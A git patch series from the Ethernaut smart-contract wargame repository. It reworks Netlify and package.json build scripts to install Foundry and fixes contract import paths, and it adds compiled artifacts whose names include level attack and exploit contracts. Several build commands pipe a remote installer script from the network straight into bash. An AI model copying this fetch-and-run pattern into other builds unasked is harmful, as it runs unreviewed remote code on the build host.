=?UTF-8?q?=20for=20netlify?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netlify.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/netlify.toml b/netlify.toml index 37cf42d68..2b034ef46 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "curl -L https://foundry.paradigm.xyz | bash && foundrup && yarn run build:ethernaut" + command = "curl -L https://foundry.paradigm.xyz | bash && source ~/.bashrc && export PATH="~/.foundry/bin:${PATH}" && foundrup && yarn run build:ethernaut" publish = "client/build" [[redirects]] From e5fd3f01313b7454f09f263dd993cfc48bf1d254 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 08:52:26 -0500 Subject: [PATCH 19/35] =?UTF-8?q?=F0=9F=94=A7=20move=20foundry=20init=20to?= =?UTF-8?q?=20package.json?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netlify.toml | 2 +- package.json | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/netlify.toml b/netlify.toml index 2b034ef46..d4e287020 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "curl -L https://foundry.paradigm.xyz | bash && source ~/.bashrc && export PATH="~/.foundry/bin:${PATH}" && foundrup && yarn run build:ethernaut" + command = "yarn run init:contracts && yarn run build:ethernaut" publish = "client/build" [[redirects]] diff --git a/package.json b/package.json index 412e499cf..ae37340ec 100644 --- a/package.json +++ b/package.json @@ -15,6 +15,7 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { + "init:contracts": "curl -L https://foundry.paradigm.xyz | bash && export PATH='~/.foundry/bin:${PATH}' && foundrup", "test": "cd contracts && forge t", "compile:contracts": "cd contracts && forge b", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", From 937126975c25c0485b15f82ba011f43203714aa5 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 08:57:04 -0500 Subject: [PATCH 20/35] =?UTF-8?q?=F0=9F=A7=AA=20test=20bash=20with=20yarn?= =?UTF-8?q?=20init=20contracts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index ae37340ec..652bc5978 100644 --- a/package.json +++ b/package.json @@ -15,7 +15,7 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "init:contracts": "curl -L https://foundry.paradigm.xyz | bash && export PATH='~/.foundry/bin:${PATH}' && foundrup", + "init:contracts": "curl -L https://foundry.paradigm.xyz | bash && source ~/.bashrc && export PATH='~/.foundry/bin:${PATH}' && foundrup", "test": "cd contracts && forge t", "compile:contracts": "cd contracts && forge b", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", From 09db1f83d189f9acc863c11730ecb72807b068f5 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 09:01:08 -0500 Subject: [PATCH 21/35] =?UTF-8?q?=F0=9F=A7=AA=20bash=20for=20foundryup?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 652bc5978..4a921d4db 100644 --- a/package.json +++ b/package.json @@ -15,7 +15,7 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "init:contracts": "curl -L https://foundry.paradigm.xyz | bash && source ~/.bashrc && export PATH='~/.foundry/bin:${PATH}' && foundrup", + "init:contracts": "/bin/bash -c 'curl -L https://foundry.paradigm.xyz | bash && foundryup'", "test": "cd contracts && forge t", "compile:contracts": "cd contracts && forge b", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", From de957bc51601ec657f27ba5d0fb282c3f2a864b0 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 09:03:50 -0500 Subject: [PATCH 22/35] =?UTF-8?q?=F0=9F=A7=AA=20path=20bin=20foundryup?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 4a921d4db..dd241ed8e 100644 --- a/package.json +++ b/package.json @@ -15,7 +15,7 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "init:contracts": "/bin/bash -c 'curl -L https://foundry.paradigm.xyz | bash && foundryup'", + "init:contracts": "curl -L https://foundry.paradigm.xyz | bash && export PATH='/opt/buildhome/.foundry/bin:${PATH}' && foundryup", "test": "cd contracts && forge t", "compile:contracts": "cd contracts && forge b", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", From 81e3879626e25a9d8c11fa5f0706d14268b6842b Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 09:09:40 -0500 Subject: [PATCH 23/35] =?UTF-8?q?=F0=9F=A7=AA=20foundryup=20yarn?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netlify.toml | 2 +- package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/netlify.toml b/netlify.toml index d4e287020..5e8bd1d8b 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "yarn run init:contracts && yarn run build:ethernaut" + command = "yarn run foundry:up && yarn run build:ethernaut" publish = "client/build" [[redirects]] diff --git a/package.json b/package.json index dd241ed8e..1e13aa81e 100644 --- a/package.json +++ b/package.json @@ -15,7 +15,7 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "init:contracts": "curl -L https://foundry.paradigm.xyz | bash && export PATH='/opt/buildhome/.foundry/bin:${PATH}' && foundryup", + "foundry:up": "curl -L https://foundry.paradigm.xyz | bash && bash $HOME/.foundry/bin/foundryup", "test": "cd contracts && forge t", "compile:contracts": "cd contracts && forge b", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", From f590b69495d7b4697252583dacfbbe062aa397af Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 09:23:52 -0500 Subject: [PATCH 24/35] =?UTF-8?q?=F0=9F=A7=AA=20netlify.toml=20bash?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netlify.toml | 2 +- package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/netlify.toml b/netlify.toml index 5e8bd1d8b..c767b032f 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "yarn run foundry:up && yarn run build:ethernaut" + command = "/bin/bash -c 'curl -L https://foundry.paradigm.xyz | bash' && yarn run build:ethernaut" publish = "client/build" [[redirects]] diff --git a/package.json b/package.json index 1e13aa81e..81b9b1414 100644 --- a/package.json +++ b/package.json @@ -15,7 +15,7 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "foundry:up": "curl -L https://foundry.paradigm.xyz | bash && bash $HOME/.foundry/bin/foundryup", + "foundry:up": "/bin/bash -c 'curl -L https://foundry.paradigm.xyz | bash'", "test": "cd contracts && forge t", "compile:contracts": "cd contracts && forge b", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", From b7c857d6469ae8c90293f9e48646cd2b645cae8d Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 09:59:20 -0500 Subject: [PATCH 25/35] =?UTF-8?q?=F0=9F=94=A8=20update=20import=20paths=20?= =?UTF-8?q?of=20scripts=20and=20symlinks?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 3 +++ client/public/contracts | 2 +- client/scripts/deploy_contracts.mjs | 8 ++++---- client/scripts/upgrade_proxy.mjs | 4 ++-- client/src/contracts | 1 + client/src/middlewares/loadEthernautContract.js | 2 +- client/src/middlewares/loadLevelInstance.js | 4 ++-- client/src/utils/contractutil.js | 5 +++-- client/src/utils/deploycontract.js | 2 +- client/src/utils/statsContract.js | 2 +- 10 files changed, 19 insertions(+), 14 deletions(-) create mode 120000 client/src/contracts diff --git a/.gitignore b/.gitignore index e17eedc65..a2bca6fbc 100644 --- a/.gitignore +++ b/.gitignore @@ -10,3 +10,6 @@ client/build/ client/node_modules/ client/src/gamedata/deploy.local.json .env + +# Local Netlify folder +.netlify diff --git a/client/public/contracts b/client/public/contracts index faeb64249..805746d1c 120000 --- a/client/public/contracts +++ b/client/public/contracts @@ -1 +1 @@ -../../contracts/contracts/ \ No newline at end of file +../../contracts/src/ \ No newline at end of file diff --git a/client/scripts/deploy_contracts.mjs b/client/scripts/deploy_contracts.mjs index c50c642f9..322bcc5d1 100644 --- a/client/scripts/deploy_contracts.mjs +++ b/client/scripts/deploy_contracts.mjs @@ -7,10 +7,10 @@ import * as ethutil from "../src/utils/ethutil.js"; import * as constants from "../src/constants.js"; import HDWalletProvider from "@truffle/hdwallet-provider"; import * as gamedata from "../src/gamedata/gamedata.json" assert { type: "json" }; -import * as EthernautABI from "contracts/out/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; -import * as ProxyAdminABI from "contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; -import * as ImplementationABI from "contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; -import * as ProxyStatsABI from "contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; +import * as EthernautABI from "../src/contracts/out/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; +import * as ProxyAdminABI from "../src/contracts/contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; +import * as ImplementationABI from "../src/contracts/contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; +import * as ProxyStatsABI from "../src/contracts/contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; let web3; let ethernaut; diff --git a/client/scripts/upgrade_proxy.mjs b/client/scripts/upgrade_proxy.mjs index af0c68f4b..e8ae65e99 100644 --- a/client/scripts/upgrade_proxy.mjs +++ b/client/scripts/upgrade_proxy.mjs @@ -4,8 +4,8 @@ import fs from 'fs'; import * as ethutil from '../src/utils/ethutil.js'; import * as constants from '../src/constants.js'; import HDWalletProvider from '@truffle/hdwallet-provider'; -import * as ProxyAdminABI from 'contracts/out/ProxyAdmin.sol/ProxyAdmin.json' assert { type: 'json' }; -import * as ImplementationABI from 'contracts/out/Statistics.sol/Statistics.json' assert { type: 'json' }; +import * as ProxyAdminABI from '../src/contracts/out/ProxyAdmin.sol/ProxyAdmin.json' assert { type: 'json' }; +import * as ImplementationABI from '../src/contracts/out/Statistics.sol/Statistics.json' assert { type: 'json' }; let web3; diff --git a/client/src/contracts b/client/src/contracts new file mode 120000 index 000000000..3afc67bbf --- /dev/null +++ b/client/src/contracts @@ -0,0 +1 @@ +../../contracts/ \ No newline at end of file diff --git a/client/src/middlewares/loadEthernautContract.js b/client/src/middlewares/loadEthernautContract.js index 5a8dbd02f..42822d3aa 100644 --- a/client/src/middlewares/loadEthernautContract.js +++ b/client/src/middlewares/loadEthernautContract.js @@ -1,5 +1,5 @@ import * as ethutil from '../utils/ethutil' -import EthernautABI from 'contracts/out/Ethernaut.sol/Ethernaut.json' +import EthernautABI from '../contracts/out/Ethernaut.sol/Ethernaut.json' import * as actions from '../actions'; import { loadTranslations } from '../utils/translations' diff --git a/client/src/middlewares/loadLevelInstance.js b/client/src/middlewares/loadLevelInstance.js index d873b0cd1..817cf4f91 100644 --- a/client/src/middlewares/loadLevelInstance.js +++ b/client/src/middlewares/loadLevelInstance.js @@ -79,8 +79,8 @@ const loadLevelInstance = (store) => (next) => (action) => { if (!instanceAddress) return; console.info(`=> ${strings.instanceAddressMessage}\n${instanceAddress}`); const Instance = ethutil.getTruffleContract( - require(`contracts/out/${action.level.instanceContract - }/${withoutExtension(action.level.instanceContract)}.json`), + require(`../contracts/out/${action.level.instanceContract + }/${withoutExtension(action.level.instanceContract)}.json`), { from: state.player.address, gasPrice: 2 * state.network.gasPrice, diff --git a/client/src/utils/contractutil.js b/client/src/utils/contractutil.js index 49ff586db..36fce3c71 100644 --- a/client/src/utils/contractutil.js +++ b/client/src/utils/contractutil.js @@ -1,7 +1,7 @@ import * as constants from "../constants"; import { getWeb3, setWeb3, getTruffleContract, getNetworkFromId } from "./ethutil"; import { newGithubIssueUrl } from "./github"; -import * as LocalFactoryABI from "contracts/out/LocalFactory.sol/Factory.json"; +import * as LocalFactoryABI from "../contracts/out/LocalFactory.sol/Factory.json"; import { deployAdminContracts, deployAndRegisterLevel } from "./deploycontract"; var levels = require(`../gamedata/gamedata.json`).levels; @@ -62,7 +62,8 @@ export function getLevelKey(levelAddress) { export function fetchLevelABI(level) { const contractName = level.levelContract.split(".")[0]; - return require(`contracts/out/${level.levelContract}/${contractName}.json`); + const path = require('path'); + return require(`../contracts/out/${level.levelContract}/${contractName}.json`); } // write windows finction to transfer ownership to a new user diff --git a/client/src/utils/deploycontract.js b/client/src/utils/deploycontract.js index d68c66423..41e3cee4d 100644 --- a/client/src/utils/deploycontract.js +++ b/client/src/utils/deploycontract.js @@ -1,6 +1,6 @@ import colors from "colors"; import * as ethutil from "../utils/ethutil.js"; -import * as LocalFactoryABI from "contracts/out/LocalFactory.sol/Factory.json"; +import * as LocalFactoryABI from "../contracts/out/LocalFactory.sol/Factory.json"; import { getGasFeeDetails } from "../utils/ethutil.js"; import { cacheContract, diff --git a/client/src/utils/statsContract.js b/client/src/utils/statsContract.js index bed76b056..439b6f2e7 100644 --- a/client/src/utils/statsContract.js +++ b/client/src/utils/statsContract.js @@ -158,7 +158,7 @@ const getProxyStatsContractAddressInNetwork = (networkId) => { } const getStatsContract = async (proxyStatsAddress, playerAddress) => { - const statsABI = require("contracts/out/Statistics.sol/Statistics.json"); + const statsABI = require("../contracts/out/Statistics.sol/Statistics.json"); let statsContract; if (playerAddress) { statsContract = getTruffleContract(statsABI, { from: playerAddress }); From 68f4813c24be1a0216c84e0fda3b39c4c742bbf2 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 10:47:04 -0500 Subject: [PATCH 26/35] =?UTF-8?q?=F0=9F=93=A6=EF=B8=8F=20remove=20unusued?= =?UTF-8?q?=20and=20build=20out=20for=20netlify?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/package.json | 1 - client/public/contracts | 1 - contracts/.gitignore | 1 - .../AddressUpgradeable.json | 1 + contracts/out/AlienCodex.sol/AlienCodex.json | 1 + .../out/AlienCodex.t.sol/AlienCodex.json | 1 + .../AlienCodex.t.sol/AlienCodexExploit.json | 1 + .../out/AlienCodex.t.sol/TestAlienCodex.json | 1 + .../AlienCodexAttack.json | 1 + .../AlienCodexFactory.json | 1 + contracts/out/Base.sol/CommonBase.json | 1 + contracts/out/Base.sol/ScriptBase.json | 1 + contracts/out/Base.sol/TestBase.json | 1 + contracts/out/CoinFlip.sol/CoinFlip.json | 1 + .../CoinFlipAttack.sol/CoinFlipAttack.json | 1 + .../CoinFlipFactory.sol/CoinFlipFactory.json | 1 + .../out/Coinflip.t.sol/TestCoinflip.json | 1 + contracts/out/Delegation.sol/Delegate.json | 1 + contracts/out/Delegation.sol/Delegation.json | 1 + .../out/Delegation.t.sol/TestDelegation.json | 1 + .../DelegationFactory.json | 1 + contracts/out/Denial.sol/Denial.json | 1 + contracts/out/Denial.t.sol/TestDenial.json | 1 + .../out/DenialAttack.sol/DenialAttack.json | 1 + .../out/DenialFactory.sol/DenialFactory.json | 1 + .../out/DetectionBot.sol/DetectionBot.json | 1 + .../out/DetectionBot.sol/IDetectionBot.json | 1 + contracts/out/DetectionBot.sol/IForta.json | 1 + contracts/out/Dex.sol/Dex.json | 1 + contracts/out/Dex.sol/SwappableToken.json | 1 + contracts/out/Dex.t.sol/TestDex.json | 1 + contracts/out/DexFactory.sol/DexFactory.json | 1 + contracts/out/DexTwo.sol/DexTwo.json | 1 + .../out/DexTwo.sol/SwappableTokenTwo.json | 1 + contracts/out/DexTwo.t.sol/TestDexTwo.json | 1 + .../DexTwoAttack.sol/DexTwoAttackToken.json | 1 + .../out/DexTwoFactory.sol/DexTwoFactory.json | 1 + .../out/DoubleEntryPoint.sol/CryptoVault.json | 1 + .../DoubleEntryPoint.sol/DelegateERC20.json | 1 + .../DoubleEntryPoint.json | 1 + contracts/out/DoubleEntryPoint.sol/Forta.json | 1 + .../DoubleEntryPoint.sol/IDetectionBot.json | 1 + .../out/DoubleEntryPoint.sol/IForta.json | 1 + .../out/DoubleEntryPoint.sol/LegacyToken.json | 1 + .../TestDoubleEntryPoint.json | 1 + .../DoubleEntryPointFactory.json | 1 + contracts/out/Dummy.sol/Dummy.json | 1 + .../out/DummyFactory.sol/DummyFactory.json | 1 + .../out/ERC1967Proxy.sol/ERC1967Proxy.json | 1 + .../ERC1967Upgrade.sol/ERC1967Upgrade.json | 1 + contracts/out/ERC20.sol/ERC20.json | 1 + contracts/out/ERC20/IERC20.sol/IERC20.json | 1 + contracts/out/Elevator.sol/Building.json | 1 + contracts/out/Elevator.sol/Elevator.json | 1 + .../out/Elevator.t.sol/TestElevator.json | 1 + .../ElevatorAttack.sol/ElevatorAttack.json | 1 + .../ElevatorFactory.sol/ElevatorFactory.json | 1 + contracts/out/Ethernaut.sol/Ethernaut.json | 1 + contracts/out/Ethernaut.sol/IStatistics.json | 1 + .../out/Ethernaut.t.sol/TestEthernaut.json | 1 + contracts/out/Fallback.sol/Fallback.json | 1 + .../out/Fallback.t.sol/TestFallback.json | 1 + .../FallbackFactory.sol/FallbackFactory.json | 1 + contracts/out/Fallout.sol/Fallout.json | 1 + contracts/out/Fallout.t.sol/Fallout.json | 1 + contracts/out/Fallout.t.sol/TestFallout.json | 1 + .../FalloutFactory.sol/FalloutFactory.json | 1 + contracts/out/Force.sol/Force.json | 1 + contracts/out/Force.t.sol/TestForce.json | 1 + .../out/ForceAttack.sol/ForceAttack.json | 1 + .../out/ForceFactory.sol/ForceFactory.json | 1 + .../out/GatekeeperOne.sol/GatekeeperOne.json | 1 + .../TestGatekeeperOne.json | 1 + .../GatekeeperOneAttack.json | 1 + .../GatekeeperOneFactory.json | 1 + .../GatekeeperThree.sol/GatekeeperThree.json | 1 + .../out/GatekeeperThree.sol/SimpleTrick.json | 1 + .../TestGatekeeperThree.json | 4499 +++++++++++++++++ .../GatekeeperThreeAttack.json | 1 + .../GatekeeperThreeFactory.json | 1 + .../out/GatekeeperTwo.sol/GatekeeperTwo.json | 1 + .../TestGatekeeperTwo.json | 1 + .../GatekeeperTwoAttack.json | 1 + .../GatekeeperTwoInterface.json | 1 + .../GatekeeperTwoFactory.json | 1 + contracts/out/GoodSamaritan.sol/Coin.json | 1 + .../out/GoodSamaritan.sol/GoodSamaritan.json | 1 + .../out/GoodSamaritan.sol/INotifyable.json | 1 + contracts/out/GoodSamaritan.sol/Wallet.json | 1 + .../TestGoodSamaritan.json | 1 + .../GoodSamaritanAttack.json | 1 + .../GoodSamaritanFactory.json | 1 + contracts/out/IBeacon.sol/IBeacon.json | 1 + contracts/out/IERC165.sol/IERC165.json | 1 + contracts/out/IERC20.sol/IERC20.json | 1 + .../IERC20Metadata.sol/IERC20Metadata.json | 1 + contracts/out/IERC721.sol/IERC721.json | 1 + .../out/IERC721.sol/IERC721Enumerable.json | 1 + .../out/IERC721.sol/IERC721Metadata.json | 1 + .../out/IERC721.sol/IERC721TokenReceiver.json | 1 + .../out/IMulticall3.sol/IMulticall3.json | 1 + .../out/Initializable.sol/Initializable.json | 1 + contracts/out/Instance.sol/Instance.json | 1 + .../out/Instance.t.sol/TestInstance.json | 1 + .../InstanceFactory.sol/InstanceFactory.json | 1 + contracts/out/King.sol/King.json | 1 + contracts/out/King.t.sol/TestKing.json | 1 + contracts/out/KingAttack.sol/KingAttack.json | 1 + .../out/KingFactory.sol/KingFactory.json | 1 + .../Leaderboard.t.sol/TestLeaderboard.json | 1 + contracts/out/Level-05.sol/Level.json | 1 + contracts/out/Level-06.sol/Level.json | 1 + contracts/out/Level-08.sol/Level.json | 1 + contracts/out/Level.sol/Level.json | 1 + contracts/out/Level.t.sol/TestLevel.json | 1 + contracts/out/LocalFactory.sol/Factory.json | 1 + contracts/out/MagicNum.sol/MagicNum.json | 1 + .../out/MagicNum.t.sol/TestMagicNum.json | 1 + .../MagicNumBadSolver.json | 1 + .../MagicNumFactory.sol/MagicNumFactory.json | 1 + contracts/out/MagicNumFactory.sol/Solver.json | 1 + .../MagicNumSolver.sol/MagicNumSolver.json | 1 + .../out/Manufactured.sol/Manufactured.json | 1 + contracts/out/MockERC20.sol/MockERC20.json | 1 + .../MockERC721.sol/IERC721TokenReceiver.json | 1 + contracts/out/MockERC721.sol/MockERC721.json | 1 + contracts/out/Motorbike.sol/Engine.json | 1 + contracts/out/Motorbike.sol/Motorbike.json | 1 + contracts/out/Motorbike.t.sol/Engine.json | 1 + .../out/Motorbike.t.sol/TestMotorbike.json | 1 + .../out/MotorbikeAttack.sol/Exploit.json | 1 + .../MotorbikeAttack.sol/MotorbikeAttack.json | 1 + .../MotorbikeFactory.json | 1 + contracts/out/NaughtCoin.sol/NaughtCoin.json | 1 + .../out/NaughtCoin.t.sol/TestNaughtCoin.json | 1 + .../NaughtCoinAttack.json | 1 + .../NaughtCoinFactory.json | 1 + contracts/out/Ownable-05.sol/Ownable.json | 1 + contracts/out/Player.t.sol/TestPlayer.json | 1 + .../out/Preservation.sol/LibraryContract.json | 1 + .../out/Preservation.sol/Preservation.json | 1 + .../Preservation.t.sol/TestPreservation.json | 1 + .../PreservationAttack.json | 1 + .../PreservationFactory.json | 1 + contracts/out/Privacy.sol/Privacy.json | 1 + contracts/out/Privacy.t.sol/TestPrivacy.json | 1 + .../PrivacyFactory.sol/PrivacyFactory.json | 1 + contracts/out/Proxy.sol/Proxy.json | 1 + contracts/out/ProxyAdmin.sol/ProxyAdmin.json | 1 + contracts/out/ProxyStats.sol/ProxyStats.json | 1 + .../out/PuzzleWallet.sol/PuzzleProxy.json | 1 + .../out/PuzzleWallet.sol/PuzzleWallet.json | 1 + .../PuzzleWallet.t.sol/TestPuzzleWallet.json | 1 + .../PuzzleWalletFactory.json | 1 + contracts/out/Recovery.sol/Recovery.json | 1 + contracts/out/Recovery.sol/SimpleToken.json | 1 + .../out/Recovery.t.sol/TestRecovery.json | 1 + .../RecoveryFactory.sol/RecoveryFactory.json | 1 + .../RecoverySimpleToken.json | 1 + contracts/out/Reentrance.sol/Reentrance.json | 1 + .../out/Reentrance.t.sol/TestReentrance.json | 1 + .../out/ReentranceAttack.sol/Reentrance.json | 1 + .../ReentranceAttack.json | 1 + .../ReentranceFactory.json | 1 + contracts/out/SafeMath.sol/SafeMath.json | 1 + contracts/out/Shop.sol/Buyer.json | 1 + contracts/out/Shop.sol/Shop.json | 1 + contracts/out/Shop.t.sol/TestShop.json | 1 + contracts/out/ShopAttack.sol/ShopAttack.json | 1 + .../out/ShopFactory.sol/ShopFactory.json | 1 + contracts/out/Statistics.sol/Statistics.json | 1 + .../StatisticsLevelSuperseder.json | 1 + .../out/StdAssertions.sol/StdAssertions.json | 1 + contracts/out/StdChains.sol/StdChains.json | 1 + contracts/out/StdCheats.sol/StdCheats.json | 1 + .../out/StdCheats.sol/StdCheatsSafe.json | 1 + contracts/out/StdError.sol/stdError.json | 1 + .../out/StdInvariant.sol/StdInvariant.json | 1 + contracts/out/StdJson.sol/stdJson.json | 1 + contracts/out/StdMath.sol/stdMath.json | 1 + contracts/out/StdStorage.sol/stdStorage.json | 1 + .../out/StdStorage.sol/stdStorageSafe.json | 1 + contracts/out/StdStyle.sol/StdStyle.json | 1 + contracts/out/StdToml.sol/stdToml.json | 1 + contracts/out/StdUtils.sol/StdUtils.json | 1 + .../out/StorageSlot.sol/StorageSlot.json | 1 + contracts/out/Switch.sol/Switch.json | 1 + contracts/out/Switch.t.sol/TestSwitch.json | 1 + .../out/SwitchFactory.sol/SwitchFactory.json | 1 + contracts/out/Telephone.sol/Telephone.json | 1 + .../out/Telephone.t.sol/TestTelephone.json | 1 + .../TelephoneAttack.sol/TelephoneAttack.json | 1 + .../TelephoneFactory.json | 1 + contracts/out/Test.sol/Test.json | 1 + contracts/out/Token.sol/Token.json | 1 + contracts/out/Token.t.sol/TestToken.json | 1 + contracts/out/Token.t.sol/Token.json | 1 + .../out/TokenFactory.sol/TokenFactory.json | 1 + .../TransparentUpgradeableProxy.json | 1 + .../UpgradeableProxy.json | 1 + contracts/out/Utils.sol/Utils.json | 1 + contracts/out/Vault.sol/Vault.json | 1 + contracts/out/Vault.t.sol/TestVault.json | 1 + .../out/VaultAttack.sol/VaultAttack.json | 1 + .../out/VaultFactory.sol/VaultFactory.json | 1 + contracts/out/Vm.sol/Vm.json | 1 + contracts/out/Vm.sol/VmSafe.json | 1 + contracts/out/access/Ownable.sol/Ownable.json | 1 + contracts/out/console.sol/console.json | 1 + contracts/out/console2.sol/console2.json | 1 + .../contracts/access/Ownable.sol/Ownable.json | 1 + .../contracts/utils/Address.sol/Address.json | 1 + .../contracts/utils/Context.sol/Context.json | 1 + .../draft-IERC1822.sol/IERC1822Proxiable.json | 1 + .../out/safeconsole.sol/safeconsole.json | 1 + contracts/out/utils/Address.sol/Address.json | 1 + contracts/out/utils/Context.sol/Context.json | 1 + .../Initializable.sol/Initializable.json | 1 + netlify.toml | 2 +- package.json | 6 +- 220 files changed, 4716 insertions(+), 8 deletions(-) delete mode 120000 client/public/contracts create mode 100644 contracts/out/AddressUpgradeable.sol/AddressUpgradeable.json create mode 100644 contracts/out/AlienCodex.sol/AlienCodex.json create mode 100644 contracts/out/AlienCodex.t.sol/AlienCodex.json create mode 100644 contracts/out/AlienCodex.t.sol/AlienCodexExploit.json create mode 100644 contracts/out/AlienCodex.t.sol/TestAlienCodex.json create mode 100644 contracts/out/AlienCodexAttack.sol/AlienCodexAttack.json create mode 100644 contracts/out/AlienCodexFactory.sol/AlienCodexFactory.json create mode 100644 contracts/out/Base.sol/CommonBase.json create mode 100644 contracts/out/Base.sol/ScriptBase.json create mode 100644 contracts/out/Base.sol/TestBase.json create mode 100644 contracts/out/CoinFlip.sol/CoinFlip.json create mode 100644 contracts/out/CoinFlipAttack.sol/CoinFlipAttack.json create mode 100644 contracts/out/CoinFlipFactory.sol/CoinFlipFactory.json create mode 100644 contracts/out/Coinflip.t.sol/TestCoinflip.json create mode 100644 contracts/out/Delegation.sol/Delegate.json create mode 100644 contracts/out/Delegation.sol/Delegation.json create mode 100644 contracts/out/Delegation.t.sol/TestDelegation.json create mode 100644 contracts/out/DelegationFactory.sol/DelegationFactory.json create mode 100644 contracts/out/Denial.sol/Denial.json create mode 100644 contracts/out/Denial.t.sol/TestDenial.json create mode 100644 contracts/out/DenialAttack.sol/DenialAttack.json create mode 100644 contracts/out/DenialFactory.sol/DenialFactory.json create mode 100644 contracts/out/DetectionBot.sol/DetectionBot.json create mode 100644 contracts/out/DetectionBot.sol/IDetectionBot.json create mode 100644 contracts/out/DetectionBot.sol/IForta.json create mode 100644 contracts/out/Dex.sol/Dex.json create mode 100644 contracts/out/Dex.sol/SwappableToken.json create mode 100644 contracts/out/Dex.t.sol/TestDex.json create mode 100644 contracts/out/DexFactory.sol/DexFactory.json create mode 100644 contracts/out/DexTwo.sol/DexTwo.json create mode 100644 contracts/out/DexTwo.sol/SwappableTokenTwo.json create mode 100644 contracts/out/DexTwo.t.sol/TestDexTwo.json create mode 100644 contracts/out/DexTwoAttack.sol/DexTwoAttackToken.json create mode 100644 contracts/out/DexTwoFactory.sol/DexTwoFactory.json create mode 100644 contracts/out/DoubleEntryPoint.sol/CryptoVault.json create mode 100644 contracts/out/DoubleEntryPoint.sol/DelegateERC20.json create mode 100644 contracts/out/DoubleEntryPoint.sol/DoubleEntryPoint.json create mode 100644 contracts/out/DoubleEntryPoint.sol/Forta.json create mode 100644 contracts/out/DoubleEntryPoint.sol/IDetectionBot.json create mode 100644 contracts/out/DoubleEntryPoint.sol/IForta.json create mode 100644 contracts/out/DoubleEntryPoint.sol/LegacyToken.json create mode 100644 contracts/out/DoubleEntryPoint.t.sol/TestDoubleEntryPoint.json create mode 100644 contracts/out/DoubleEntryPointFactory.sol/DoubleEntryPointFactory.json create mode 100644 contracts/out/Dummy.sol/Dummy.json create mode 100644 contracts/out/DummyFactory.sol/DummyFactory.json create mode 100644 contracts/out/ERC1967Proxy.sol/ERC1967Proxy.json create mode 100644 contracts/out/ERC1967Upgrade.sol/ERC1967Upgrade.json create mode 100644 contracts/out/ERC20.sol/ERC20.json create mode 100644 contracts/out/ERC20/IERC20.sol/IERC20.json create mode 100644 contracts/out/Elevator.sol/Building.json create mode 100644 contracts/out/Elevator.sol/Elevator.json create mode 100644 contracts/out/Elevator.t.sol/TestElevator.json create mode 100644 contracts/out/ElevatorAttack.sol/ElevatorAttack.json create mode 100644 contracts/out/ElevatorFactory.sol/ElevatorFactory.json create mode 100644 contracts/out/Ethernaut.sol/Ethernaut.json create mode 100644 